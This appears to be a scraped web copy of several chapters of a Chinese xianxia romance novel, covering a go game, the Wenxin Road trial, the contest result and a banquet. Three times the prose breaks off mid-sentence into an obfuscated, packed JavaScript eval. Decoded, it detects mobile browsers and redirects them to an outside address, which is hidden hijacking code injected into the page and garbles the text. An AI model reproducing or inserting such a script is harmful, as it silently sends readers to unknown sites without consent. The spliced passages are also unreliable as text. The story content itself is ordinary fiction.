往日身为大师姐时,终日沉溺剑道,父亲亦常言“棋道乃闲人消遣之物,于剑道无益”,她便从未分心于此。 如今想来,除了剑,她似乎一无所有,连寻常女子间的消遣都未曾体会过。 此刻宁兮河相邀,她竟鬼使神差般点了点头:“好。只是……我于棋道并不精通,只怕要扫了宁师姐的雅兴。” 宁兮河闻言,非但没有失望,笑意反而更深了些,引着她向湖边小亭走去:“弈棋本为怡情养性,而非争强斗胜。能与姑娘对坐手谈,已是兮河之幸。姑娘只需随心而行便可。” 两人步入小亭,相对坐下。 石桌上早已摆好一副质地上乘的白玉棋盘。 “棋虽小道,亦可观心。姑娘随心落子即可,不必拘泥章法。”宁兮河抓起一把白子,暂握于掌心,含笑看向她,“请姑娘猜先。” 云微记起些许规则,从棋罐中取出两颗黑子,置于棋盘之上,示意猜双数。 宁兮河摊开手掌,白玉子共计一十七颗,单数。她微微一笑:“如此,便由兮河执白先行了。” 宁兮河食中二指夹着一颗白子,轻轻落在右下星位,温声道:“此乃占角,取地之始。”云微依样落子黑棋于对角星位。 宁兮河继而白子小飞挂角,又道:“此是‘小飞’,意在浅消,兼取外势。” 云微凝神,依言在黑棋星位另一侧小飞应对,只觉新奇。 往日里她手中握的是剑,此刻捏着圆润的棋子,方才因赵常胜而起的纷乱思绪竟真的渐渐平复。 几步之后,宁兮河忽于中腹落下白子,声音依旧温和:“中枢之地,虽虚亦实,关乎大势。”她抬眼看向云微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她转回头不再看他,只对宁兮河道:“胜负有那么重要?不过是宁师姐一番好意,陪我消遣罢了。” “消遣也不是这个消遣法。”少年说着,竟直接走到她身后,俯身下来,一手撑在石桌上,另一手越过她的右肩,指向棋盘一处,“看这里,你若早在此处‘扳’一手,何至于被逼到这般田地?还有这里,‘粘’住不就完了?真是笨死了。” 他靠得极近,温热的气息拂过她耳畔,带着一丝淡淡的药草清气。 云微身体几不可察地微微一僵。 他靠得太近了。 那药草气混着他身上特有的清冽气息,竟让她有些分神。 “观棋不语真君子。”云微反驳道。 谢澜忱却像是没听见,又指向另一处:“下棋不动脑子,与莽夫挥剑何异?白瞎了她这般好的‘五鹤排云’阵给你喂招……”话说一半,他忽地一怔,脸上的戏谑褪去,恢复了惯有的冰冷。 少年直起身,冷眼看向对面依旧从容含笑的宁兮河,嗤了一声:“宁师姐真是好雅兴,还有心思摆弄‘五鹤排云’阵。只可惜,她怕是领会不了你阵中的深意。” 五鹤排云?云微不明所以。 宁兮河落下一子,笑着岔开话题:“谢师弟说笑了,不过是寻常棋局,哪有什么深意。倒是师弟你对无名姑娘着实关切得很,伤势未愈便匆匆寻来。” 谢澜忱脸色一沉,语气不悦:“你知道我想听的不是这个。” 云微侧头看向他,面上带着淡淡的不解:“何为‘五鹤排云’?” 少年附身贴近她耳畔,语气却偏生凉得像淬了霜:“想知道?那就跟我走。” 话落时,他指尖不经意擦过她耳边发丝,又飞快收回,垂在身侧的手悄悄蜷了蜷。 宁兮河看着两人,唇角笑意更深,轻声道:“二位倒是默契十足。”她落下一子,似是随口一提,“谢师弟这般紧张无名姑娘,倒让我想起当年,师弟虽常与云微师姐争执,可每逢云微师姐下山历练,师弟总是最在意的那一个呢。” 42.问心路 谢澜忱忽得攥住云微的手腕,拉着她疾步离开亭子。 “走。”少年面色阴沉如水,步伐又快又重。 身后传来宁兮河依旧温和的送别声:“棋局未终,甚是遗憾。无名姑娘,谢师弟,改日再叙。” 云微被他拽得手腕生疼,蹙眉冷斥:“谢澜忱,放手。” 他恍若未闻,直将她拉到数百步外一处僻静山岩之后,方才松开她的手,抱臂冷笑道:“五鹤排云,她以白子化鹤,阵势一起,便是在试探你到底是不是云微。你竟还与她谈笑风生?” 她抬眼看他,目光清冷:“她行事光明,未露恶意。世间好奇试探之人何其多,若无人阻我复仇之路,我便容得下这点心思。各人自有缘法,她求她的道,我执我的剑,互不干涉,相安无事便可。” 少年见她如此平静,猛地逼近一步,几乎与她呼吸可闻,声音从齿缝里挤出来:“你倒真是大度……这归云宗上上下下,有几人可信?” 云微并未后退,只微微侧首,目光扫过他仍显苍白的唇色和额角未拭净的细汗,话锋倏转:“你的伤如何了?” 见少年神色一僵,她续道:“若无事,那我倒要问问,三年前宗门大比,问心路尽头,你为何在只差一步登顶之时摔了下去?以你根基修为,心志之韧,绝非寻常幻象所能撼动。莫非……” 谢澜忱面色一怔,脑中轰然浮现三年前问心路上的景象。 那幻影姿容绝世,眉眼清冷,却对他浅浅一笑,正是他深埋心底、日夜肖想却永不可得之人…… 他喉头干涩,猛地别开脸,硬声道:“不过是陈年旧事罢了……提它作甚?” 又在逃避。 云微凝视他片刻,忽地抬手,指尖在他额心不轻不重地一弹。 这动作突如其来,带着几分难以言喻的亲昵与训诫意味,谢澜忱彻底愣住,只觉得云微触碰过的地方变得一片灼热,直烧得他心慌意乱。 却听她声音清冽,竟似含了一丝极淡的、难以捕捉的微澜:“旧事可以不提。但明日问心路,你可需站稳了。若再失足……” 云微顿了顿,又道:“我便不会像三年前那般,只是立于巅峰,冷眼旁观了。” 谢澜忱面上浮现出淡淡的不解,抬眼看向她。 她这话……是何意? 三年前宗门大比,他自问心路跌落,错失魁首之位。 而她一身清华,独立凌霄之巅,目光俯视,无悲无喜,宛若神祇俯瞰尘埃。 如今这话,竟似藏着几分……关切?抑或是…… 他不敢深想,万千心绪翻滚,最终只化作一句: “……多管闲事。” * 翌日辰时正,归云宗演武峰北,问心路启。 三千青玄石阶立于此,直通凌霄台。 石阶宽阔,每一级皆密布暗色纹路,似是不知名的符箓。 起点处,一座石碑巍然矗立,碑上“问心”二字殷红如血。 通过前几轮残酷淘汰的十六名弟子肃立于石阶前,气氛凝重。 有人面色发白,紧握双拳;有人闭目调息,竭力平静;亦有人眼藏锐芒,跃跃欲试。 吴长老与王长老立于碑前。 吴长老面沉如水,在云微身上停留片刻,毫不掩饰其厌憎。 王长老则神情肃穆,扬声道:“此次大比末轮,问心路三重考验,一重曰‘憾’,叩问过往遗憾,心若有隙,便生魔障;二重曰‘惧’,放大内心恐惧,意志不坚者,顷刻道心受损,跌落深渊;三重曰‘道’,检验尔等道心是否纯粹坚凝。” “然需谨记!行至第三重,石阶将随心境波动而崩塌,唯有心志如一、勇猛精进者,方能踏过虚无,抵达凌霄台。” 吴长老冷哼一声,托起手中的浮尘镜,镜面灰蒙光华流转,隐隐映出人心变幻。 他的目光再次钉在云微身上,声音拔高:“浮尘镜在此!照见心念,纤毫毕现!若有心怀鬼胎、根基不正、欺师灭祖之徒,必现形于此路,休想瞒天过海,玷污我归云宗百年门楣!” 谢澜忱立于云微身侧,闻言嗤笑一声:“吴长老还是多照照旁人吧。紧盯着一个记忆全无的女子反复刁难,是何道理?莫非这问心路,是专为她一人所设?” “澜忱!”吴长老面色骤沉,厉声呵斥,“你身为归云宗弟子,未来的宗主,怎能如此不分轻重,屡次维护这来历不明之人!” “长老息怒。”宁兮河温声开口,适时缓和气氛,“谢师弟亦是心系宗门清誉,不愿无辜之人受冤。时辰已到,不如便开始吧。”她目光转向云微,微微颔首。 此时,一名白衣弟子按捺不住,越众而出,乃是季轮与宁兮河组队的张垣。 他面带傲色,扬声喊道:“弟子愿先行一试,为诸位同门探路!”话音未落,已纵身跃上第一级石阶。 岂料他脚尖刚落,石阶上暗纹骤亮,将他弹了出去,他脖颈上那枚正黄色的云踪珠也应声碎裂,灵光顿失。 王长老摇头叹息:“心浮气躁,贪功冒进,已生魔障。张垣,淘汰!” “长老!弟子只是一时急切!求长老再……”张垣挣扎着想爬起,面露惶急不甘,身下的传送阵光华却已亮起,瞬间将他吞没,声音戛然而止。 场下一片死寂。 众人面色更显凝重。 宁兮河轻叹一声,行至她身侧,低声道:“问心路之险,可见一斑。不如你我一同出发,彼此或能有个照应。此次,你我便光明正大,堂堂正正,争一争这魁首之位,如何?” 云微垂下眼,心中思绪万千:她观宁兮河言行得体,气度从容,同为女子,在这归云宗内能备受敬重,确有不凡之处,心下不免生出几分同为英才的欣赏。 可昨日对弈时,宁兮河话里话外都在提“故人”,今日又主动提出“彼此照应”,到底是真的惜才,还是想借同行之机,进一步确认自己的身份? 思及此,她瞥了一眼不远处肃立的吴、王二位长老,心中一凛:五鹤排云……这“五鹤”,所指代的,莫非是执掌宗门权柄、各持浮尘镜的五位长老? 若真如此,宁兮河此举背后的深意,恐怕远比单纯的试探要复杂得多。 她正要开口,谢澜忱却一步横跨,硬生生隔在她与宁兮河之间,侧头对她低语:“那老匹夫手持浮尘镜,绝不会安分。待会儿无论见到什么,听到什么,记住皆是幻象。信你手中之剑,斩了便是。” 云微抬眼,与他目光短暂相接。见他眼底藏着一丝不易察觉的焦灼,心知他是担忧吴长老借浮尘镜作祟,暗中针对自己。 她略一点头,不再多言,三人同时迈步,踏上了那青玄石阶。 脚步刚落,云微便觉一股阴冷黏滑的无形意念试图钻入识海。 她心中冷笑一声,眼神澄澈未晃半分,腰间断尘剑似有感应的轻轻一颤,发出一声低鸣。 这问心路,果然名不虚传,只可惜,她心志早已千锤百炼,绝非这点微末伎所能动摇。 她强压下那缕异样,步伐坚定,继续向上行去。 昔年未救之人,非我力不及,是天意弄人,是人心诡谲难测。云微心道。 石塘镇百姓惨死,是她心中永痛,却非她之罪愆。 今日便以这三千石阶为证,此心澄明,再无遗憾能缚她剑心,阻她道途。 思及此,她步伐越来越稳,竟如履平地般,迅速将谢澜忱与宁兮河以及其余弟子甩在身后。 两旁云雾中不断传来惊呼惨嚎,不断有弟子承受不住幻象侵蚀,心神崩溃,跌落石阶,淘汰出局。 行至第二重区域,周遭气息骤变。 云微敏锐察觉到,竟有五面浮尘镜被巧妙隐匿于翻滚的雾气之中。 她忆起段长老曾说过,浮尘镜乃归云宗至宝,五位长老各持一块,看来吴长老此次是下了血本,非要让她在问心路上现形不可。 镜光幽微,正死死锁定着她,企图窥探她内心最深处的恐惧。 她眸光一寒,毫不迟疑,断尘剑铿然出鞘。 只听“咔嚓!咔嚓!”数声清脆碎裂声响彻山道,五面隐匿极深的浮尘镜应声而碎,消散于雾气中。 几乎在浮尘镜碎裂的同一瞬,一道威严的身影凭空浮现在云微面前。 “论心性担当,你岂及澜忱万一?他虽为义子,入门稍晚,然行事沉稳周全,处处以宗门大义为重,扫除四方隐患,从不张扬居功。而你……” 不待“父亲”将昔日诛心之语说完,她已一剑挥出,剑光凛冽,瞬间将幻象拦腰斩断。 曾几何时,她确实渴望通过勤修苦练、斩妖除魔换来这高高在上者的一句认可,一个属于父亲而非宗主的、带着温度的眼神。 可在他眼中,从来只有宗门的权柄、绝对的掌控与可利用的棋子。 女儿?或许从来都只是件更趁手的工具。 “聒噪。”云微声音冷冽,“谢澜忱不是你的棋子,更非你用来衡量我、打压我的尺规。” 少年看似阴郁难测,实则心思细腻重情,只是惯用冷漠伪装自己,他的好,从不需要靠贬低她来证明。 “而我云微的路,”她微微扬起下巴,目光如剑,直刺那消散的虚影,“从不由旁人置喙,更轮不到你这般虚伪之徒来评判。你既不认我这个女儿,便休要再以父之名行操控之实。此后我剑指何方,只凭我心,与你——再无半分瓜葛。” “这般污秽不堪的幻象,早该如此一剑斩之。”谢澜忱的声音自后方传来。 云微回首,只见谢澜忱不知何时已立在不远处。 少年的目光定格在幻象消散的地方,眼神阴郁得能滴出水来。 “好一个‘处处以宗门大义为重’、‘从不张扬居功’……听得我都要吐了。宗主编谎话给自己贴金的本事,真是十年如一日,令人作呕。” 他一步步走近,站定在她身侧,“他拿我当筏子踩你?他也配?” 谢澜忱侧过头,目光落在她清冷的侧脸上,那眼中的阴戾霎时褪去几分,化作一种极为复杂的情绪,声音也柔和了些许,却依旧带着少年特有的别扭,“不过你刚才那几句话,倒是难得的中听。” 云微听得他此言,心中蓦地一动。 少年素来言辞带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384341|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺,语多讥诮,何曾有过这般近乎直白的认可? 一股极细微的躁动掠过心尖,但她旋即敛定心神,将这不合时宜的异样强行压了下去,语气平静:“跟上,第三重快到了。” 谢澜忱刚启唇,似乎还想说些什么,眼底那抹未散尽的复杂情愫仍在翻涌,却被另一道声音适时打断。 “这问心路步步惊心,凶险远超预料。”宁兮河快步跟上来,语气真诚。 三人略作调息,再度并肩前行。 此后路途,她心剑澄明,圆满无暇,再无任何幻象能靠近她分毫。 终至第三重考验,云微眼前骤然被浓得化不开的灰白雾气吞噬,伸手难见五指,连近在咫尺的谢澜忱与宁兮河的身影也变得模糊不清。 无数纷杂的窃窃私语钻入她脑海: “区区一介女流,侥幸残魂得存,不思隐姓埋名苟且度日,偏要归来复仇,岂非自寻死路?莫非还想再被生父诛杀一次?” “纵与谢澜忱结下同生契,锻新剑傍身,得母亲相助重塑魂基,那又如何?身为剑魁之时你尚败亡于宗主之手,如今重来一回,修为未复昔日一半,便能扭转乾坤?痴人说梦!” “你分明对那谢澜忱动了心!他为你背叛义父,为你屡次舍生忘死,陪你赴险复仇,你这冷心肠当真毫无感觉?承认吧!说出来吧!说出你心仪于他……” 云微脚步一顿,薄唇微动,声音清冷:“吾道所在,虽千万人吾往矣。岂因祸福避趋之?石塘镇数百条性命之仇,非我一人私怨,乃天道不彰之公义!父不仁,子亦可执剑伐之!至于谢澜忱……与尔等何干?” 话毕,她手中断尘剑发出一阵嗡鸣,剑气纵横睥睨,将周遭厚重粘稠的雾气生生劈散。 雾气稍散,视线恢复些许。 只见谢澜忱与宁兮河皆被困于心魔幻境之中,身形摇摇欲坠。 云微并指如剑,凌空疾点,两道清心剑诀打入二人眉心。 宁兮河闷哼一声,捂着眉心,眼神逐渐清明:“多谢。” 云微正要开口,却瞥见三人身后的石阶正以肉眼可见的速度崩裂,碎石坠入下方云海,连半点声响都未传出。 三人再无暇多言,向前疾奔。 不知过了多久,雾气已淡得能看清前方隐约的凌霄台轮廓。 宁兮河忽道:“魁首之位,历来只属一人……” 谢澜忱脚步微顿,眼底藏着冷意:“那你……”他眉头紧蹙,话到嘴边却又硬生生咽了回去,只压着心头翻涌的情绪,沉声道:“可我们有三个人。” 这魁首之位,只能是云微的。 云微脚步未停,目光扫过谢澜忱紧绷的侧脸与宁兮河微变的神色,声音清冽:“问心路考验的是道心是否坚不可摧,能否克服万难抵达终点。门规从未明言魁首只能有一人。心无滞碍,同心协力共登凌霄台,岂不更合‘问心’之真意?” 闻言,少年若有所思。 就在三人即将踏上台顶之际,谢澜忱身形一顿,竟硬生生停了下来。 云微立刻停步侧头看他:“谢澜忱?” 她心中蓦地一沉。 只见少年面色苍白,眼神涣散,竟是再度被心魔所困。 他望着前方空无一物之处,喃喃低语:“……云微?” 那个人,是他深埋心底、从不曾宣之于口的执念。 就因为这一瞬的失神,他脚下石阶轰然崩塌,整个人向下坠去。 “谢师弟!”宁兮河失声惊呼。 千钧一发之际,云微想也未想,一把抓住他的手腕,握得极紧。 她低头,对上谢澜忱骤然惊醒、布满惊骇与难以置信的眼眸,一字一句道: “这次,我抓住你了。” 三年前,她立于凌霄台,看着少年跌落,心中虽疑,却未曾动过一指。 今日,她绝不会再放手。 谢澜忱瞳孔紧缩,仿佛无法理解眼前发生的一切。 她竟为他俯身,她竟为他出手? 然而这失态仅有短短一瞬。少年几乎是立刻别开脸,甩开了她的手。 他踉跄一步,自行站稳,抬手用力抹去唇角并不存在的灰尘,刻意避开了她的视线。 “……多管闲事。”少年声音低哑,带着一丝不易察觉的狼狈,“不过是差点被心魔绊住,晃了下神而已……谁要你救?我自己稳得住。” 可那泛红的耳根,微微起伏的胸膛,以及无论如何都不肯再与她对视的目光,却将他此刻的心绪暴露无遗。 顶端,宁兮河亦毫不犹豫地伸出手。 云微一手拽住谢澜忱的衣袖,另一只手奋力搭上宁兮河的手,三人终是一齐跃上了凌霄台。 刚一站稳,少年立刻退开半步,与她拉开距离,抱臂冷哼道:“下次顾好你自己就行了。若因为我这点‘意外’连累你也摔下去,这笑话可就闹大了。”语气硬邦邦的,却怎么听,都像是在掩饰方才那片刻的慌乱与悸动。 就在此时,一个冰冷威严的声音缓缓传来: “很好。” “尔等三人,今日表现,甚是有趣。” 43.魁首 凌霄台宽阔平坦,云雾在脚下缭绕,仿佛置身天宫。 三人面前立着一尊巨大的雕像,乃是归云宗当代宗主谢青峰。 而此刻,那道声音正是从雕像中传出。 谢澜忱抬眼瞥了下那雕像,嘴角向下撇了撇,手随意一拱,连腰都未弯几分,行了个极其敷衍的礼:“宗主。” 他顿了顿,目光扫过身旁神色平静的云微和略显疲惫的宁兮河,又补充道:“恭喜宗主,又得见门中英才辈出。” 宁兮河也对着雕像方向敛衽一礼,语气淡淡:“宗主恕罪,弟子方才在问心路上心神耗损过甚,气息未平,恐行礼不周,失仪于前。”她抬头望向石像,直接切入正题,“敢问宗主,此次问心路,我等三人一同抵达,不知这魁首之位,该如何论定?” 风声掠过,一片寂静。 过了片刻,谢青峰的声音再次响起,不带丝毫情绪:“宗门大比,历届规矩,魁首只属一人。此乃激励弟子勇猛精进之意,岂可因尔等三人同行便轻易更改?” 他话锋一转,又道:“澜忱,你身为本座义子,此次表现不凡。这魁首之位,依本座看,原是该……” 云微站在原地,面色平静无波,心中却思绪翻涌。 父亲为何不以真身示人,反而借雕像传话?是仍在闭关紧要关头,不便现身?还是刻意保持距离,以便观察,甚至出手? 更重要的是,问心路上……父亲是否窥见了她的秘密? 不……倘若她身份暴露,谢青峰绝不会如此平静。 此刻他意在扶持谢澜忱,打压她这个“来历不明”却表现出众的“无名”,她必须冷静,绝不能自乱阵脚。 她知道谢青峰在想什么。这张与“已故”大师姐一模一样的脸,本身就是最大的疑点。 他不想将魁首之位给自己,既是维护他心中属意的继承人谢澜忱,或许,也是一种更深的试探,想看她会作何反应。 就在谢青峰语意未尽之际,谢澜忱忽得打断了他,语气冰冷:“宗主,这魁首之位,我不要。” 闻言,谢青峰的声音立刻带上了一丝冷意:“澜忱,你多年刻苦修炼,剑道天赋卓绝,三年前大比亦是拼尽全力,为何如今唾手可得之位,却要轻言放弃?” 这话听着是关切,实则带着质问。 谢澜忱垂下眼,掩去眸中情绪,语气依旧冷淡:“刻苦修炼是为自身强大,而非虚名。此次宗门大比,无名姑娘曾数次助弟子脱困,表现有目共睹。若非她,弟子未必能安然抵达此处。这魁首,她当之无愧。” 宁兮河眉头微蹙,她看了看神色漠然的云微,又看了看一脸无所谓的谢澜忱,上前一步,对着雕像方向再次行礼:“宗主明鉴。此次问心路之艰险远超以往,无名姑娘心志之坚、剑意之纯,众目睽睽之下有目共睹。谢师弟修为高深,临机应变之能亦让兮河佩服。” 她稍稍提高了声音,继续道:“若因旧例而埋没卓越者,恐难以服众,亦有违大比激励之本意。弟子恳请宗主,依此次实际情况,秉公决断。” 云微神情一变。 宁兮河此举,并非单纯为她说话,更是维护宗门应有的公正。 她心性确实澄澈坚韧,即便在可能失去魁首之位的情况下,仍能秉持公心。 相比之下,父亲与某些长老的私心算计,显得尤为不堪。 不等云微开口,五道身影出现在凌霄台上,正是归云宗的五位长老。 吴长老刚一现身,便迫不及待地指着她,厉声指责:“宗主!此女在问心路中竟损毁了浮尘镜!此等行径,岂能轻饶?更遑论授予魁首之位!” 云微神色不变,只淡淡开口,声音清冷:“吴长老若认定是弟子之过,不妨拿出证据。否则空口白牙,污蔑弟子,不知又是何居心?” 吴长老被噎得面色通红,手指着她,喉头动了动,“你”了半天,偏是什么也说不出口,脸色由红转青。 段长老见状,沉吟片刻,打圆场道:“浮尘镜之事,容后再议。当下首要,是定下魁首人选。无名表现卓越,澜忱主动谦让,兮河亦深明大义,此事确需慎重,非一言可决。” 云微心知不能再沉默,必须为自己争,也必须给谢青峰与五位长老一个无法反驳的理由。 思及此,她向前迈出一步,目光落在那尊雕像上,声音清越,响彻凌霄台:“弟子虽记忆不全,亦知宗门大比,重在公平二字。问心路上,弟子谨守本心,仗剑前行,破‘憾’、斩‘惧’、明‘道’,每一步皆问心无愧。” 她微微抬起下巴,眼神锐利了几分,直视其后之人,“门规虽旧,然时移世易,若一味拘泥旧例,是否亦有刻舟求剑之嫌?魁首之名,弟子不敢妄求,但求一个公允。若因弟子容貌与过往之人相似,便抹杀今日之表现……” 她说到这里,停顿了一下,目光扫过在场所有长老,一字一顿道:“则恐非归云宗百年门楣所应为,亦难令天下修真同道信服。” 场面一时陷入僵持。 段长老率先表示支持:“宗主,此女心性、意志与剑道修为,实乃本届大比佼佼者。若因旧例不公而埋没,恐寒了门下弟子求道之心。” 吴长老皱眉反驳:“此女来历不明,与云微容貌一般无二,天下岂有如此巧合?焉知不是邪术伪装?魁首重誉,岂可轻授?段长老莫要被她表象所惑。” 谢澜忱闻言,冷笑一声,上前一步与云微并肩而立,语气讥讽:“吴长老口口声声来历不明,邪术伪装,可有真凭实据?莫非长老亲眼见过何种邪术能完美模仿一人形神乃至剑意心志?还是说,长老觉得与我谢澜忱同行数日,被我认可之人,也值得怀疑?” 少年语气渐冷,毫不避讳:“至于长老所说,她与云微师姐容貌一般无二……敢问长老,像又如何?像便是罪?天下相似之人何其多,难道就因一个‘像’字,便要让她永无出头之日?这是何道理?归云宗何时变得如此狭隘不堪,连一张相似的脸都容不下了?” 吴长老被他连番质问,气得浑身发抖:“澜忱……你……你休要胡搅蛮缠,强词夺理!” 王长老轻咳一声,适时开口:“吴长老顾虑虽有理,然确需实证。大比终究以实力为先,无名姑娘之实力,大家有目共睹。” 云微静立原地,心神微动。 谢澜忱此刻站在她身边,虽姿态倨傲,却让她感到自己并非是孤身作战。 石像后的谢青峰沉默良久,忽然开口,声音转向宁兮河,带着试探:“兮河,你入门多年,勤勉不辍,本座深知你一直渴望这魁首之位,以期获得更多资源,精进剑道。如今机会在前,你当真甘心就此放弃?须知,修行之路,有时一步之差,便是天壤之别。” 父亲这是想利用宁兮河来制衡她? 她看向宁兮河,不知对方会如何抉择。 只见宁兮河神色坦然,声音坚定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393743|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“回禀宗主,弟子确实渴望魁首之位,但弟子更看重宗门公正与自身道心。无名姑娘的实力与心性皆在弟子之上,此次问心路,弟子输得心服口服,并无不甘。若因一己私欲而罔顾事实,争抢不属于自己的荣誉,才是真正阻碍弟子道心精进,非弟子所愿。” 宁兮河在禁域那般努力便是想夺得魁首之位,最后却因她…… 谢青峰沉默片刻,半晌缓缓叹了口气:“既然尔等皆无异议,那么此番宗门大比魁首,便是——无名!” 话音刚落,云微颈间悬挂的云踪珠骤然由正黄转为紫色,顷刻间紫光冲天而起,隐隐有细碎的光屑从中洒落,落在石阶上便化作点点莹亮,转瞬又消散无踪。 周围原本凝滞的云雾也被激得翻涌起来,化作缕缕清风绕着她周身,将她鬓边碎发吹得微扬。 同时,凌霄台缓缓下降,落回地面。 台下等候的众多归云宗弟子哗然,目光齐聚云微身上。有人手指着那抹未散的紫光咋舌;有人低声议论她与死去的大师姐相似的容貌;更有几个弟子眼中满是惊叹。 毕竟往届从无这般紫光冲霄,清风绕身的异象,倒像是四方天地都认了她这个魁首。 不知过了多久,云踪珠光芒渐敛,化为归云宗的玉符飘至空中。 云微伸手握住,触手温润,却重若千钧。 这不仅仅是名号,更是她夺回一切的第一步。 母亲,你看到了吗?这魁首之名,我要;归云宗欠我的,我也要一一讨回。 “魁首已定,众弟子当共勉之。”谢青峰的声音压下骚动,“魁首之赏,并非寻常。吴长老,把东西给她。” 吴长老脸色铁青,虚空一抓,一枚冰蓝玉珏出现,递给云微:“此乃‘冰魄钥’,持之可抵御寒魄渊外围寒气,开启入口三日。” 云微面色一怔。 十三年前,她的母亲云青,就是不明不白地死在寒魄渊中,连尸骨都未曾寻回,而她也被冠上“血脉不清”的污名。 她清楚谢青峰的用意,无非是想借这寒魄钥试探她,看她是否会迫不及待地跳进这个显而易见的陷阱,去探寻那被刻意掩埋的真相。 小不忍则乱大谋,必须忍耐,等待合适的时机。 她强行压下翻涌的心绪,将冰魄钥收起,对着雕像方向微微颔首,声音平静无波,听不出丝毫异常:“谢宗主赏赐。” 谢青峰“嗯”了一声,又续道:“大比已毕,众弟子可自行散去。今夜宗内设宴,以示庆贺,尔等皆可前往。” 众人散去,只剩吴、王长老留在原地。 片刻之后,谢青峰自雕像后浮现,神情阴鸷。 吴长老立刻凑近,语气焦急:“宗主,您为何要将冰魄钥给她?还让她当了魁首?万一她真是云微,岂不是纵虎归山?寒魄渊可是……” 王长老却持不同意见,捋须道:“无论她是不是云微,宗主此举皆可。若是,正好借此机会看她欲意何为,有何图谋;若不是,我归云宗也得一位天资卓绝的弟子,岂非美事一桩?” 谢青峰望着云微离去的方向,缓缓道:“正因为她可能是,才更要给她这个机会。寒魄渊是云青殒身之地,若她心怀执念,必定会去。本座正是要看看,她到底想做什么,又能掀出什么浪花。” 若她试图踏入寒魄渊深处,探寻不该她知道的东西……便无需再留手了。 清理门户,正在此时。 44.醉酒 宴会设在凌云正殿,数十张白玉圆桌摆在殿内。 桌上菜肴精致,弟子们按辈分落座,低声交谈,目光却不时瞟向入口处。 云微刚一踏入殿门,喧嚣声便是一静,旋即七八名年轻弟子呼啦一下围了上来。 一个红衣女弟子抢先问道:“无名师妹,你真是太厉害了!最后那问心路,你是怎么做到那么快就登顶的?有什么诀窍吗?” “是啊是啊,你的剑法好厉害!能跟我们说说吗?”另一个瘦高个的男弟子附和道。 “你对以前的事情都不记得了吗?那你还记得自己是怎么练的剑吗?” 问题接踵而至,带着善意也带着试探。 云微脚步微顿,她不喜这般被众人环绕追问的感觉,尤觉那些探究的目光如芒在背。 她略一颔首,声音清冷疏离:“问心路,唯心而已。剑法……熟能生巧。”答得简短,不欲多言。 弟子们见她如此,面面相觑,气氛一时有些冷场和尴尬。 此时,一道声音自身后响起:“诸位师弟师妹,无名师妹今日连番比试,心神耗损不小,让她先歇息用些饭食吧。若有何疑问,日后再请教也不迟。” 众人回头,只见宁兮河不知何时已走了过来,脸上带着惯有的温柔笑意。 弟子们见到她,纷纷行礼问候,语气恭敬。 红衣女弟子吐了吐舌,讪讪道:“宁师姐说的是,是我们太心急了。”说着,便与其他弟子一同散去。 宁兮河走到云微身边,自然地伸出手,轻轻握住她的手腕,低声道:“随我来。” 云微看了她一眼,没有挣脱,任由她拉着自己穿过人群,走到了殿侧一处相对安静的廊下——这里能看见殿内情景,又避开了喧嚣。 “多谢你替我解围。”云微开口道,声音依旧平淡。 宁兮河松开手,微微一笑:“无事。我知道你一个人独来独往惯了,不擅长应付这种场面。” 这句话似乎别有深意。 她自重返归云宗后与宁兮河交集甚少,对方何出此言?除非…… 不及她深想,宁兮河已换了话题,目光望向殿内热闹,语气带上一丝感叹:“魁首之位的事……你是否觉得,我会恨你,会不甘心?” 云微摇了摇头,坦诚相对:“我虽与你接触不多,但能看出你并非心胸狭隘之人。你修为扎实,心性坚韧,品行端方,我虽不了解全部,却也看得出几分。” 宁兮河闻言,侧首看她,唇角漾开一抹真切笑意,眼中似有微光闪动:“谢谢你这般看我。我的确想要那魁首之位,想了很久。但你实力确比我更胜一筹,这是事实。我不能……亦不愿违背本心,去嫉恨一个凭实力胜出之人。”她声线微低,含了几分复杂情绪,“更何况,若非当年见你以女子之身登顶剑道,受宗门上下敬仰,我或许也不会坚信,女子亦可站在这巅峰之处。如今种种,不过是回报你当年无意间的指引罢了。” 云微眸光一凝,心中震诧。 她此言,几近挑明。 心绪翻涌间,诸多线索串联:报名时她出面解围;邀她观摩同尘镯;主动提议组队;乃至那局意味深长的“五鹤排云”阵……原来并非偶然,皆有其因。 云微心下飞快思忖:宁兮河是敌是友?此刻坦言,目的何在?是示好,亦是提醒她身份已非密不透风? 思及此,她神色不变,低声道:“师妹慧眼,洞察分明。只是不知你提及往事,意欲何为?”她语带试探,既承认了对方猜测,亦要摸清其底牌。 宁兮河却忽地伸出食指,轻轻抵在她唇上,摇了摇头,示意噤声。 她凑近了些,声音压得极低,几乎成了耳语:“那盘‘五鹤排云’,师姐此刻可明白了?五位长老虎视眈眈,背后更有宗主运筹帷幄……只凭你与谢澜忱二人,当真能应对周全?” 她自有谋划,但能否万全,实无十分把握。 正欲开口言明己见,宁兮河已收回手,轻声道:“我有些累了,先行一步。”她转身欲走,复又停步回眸,“师姐快去找他吧。他那性子,别扭执拗,口是心非,但……”她顿了顿,语气转为认真,“待师姐却是例外,这份不同,连我这旁观者亦看得分明。” 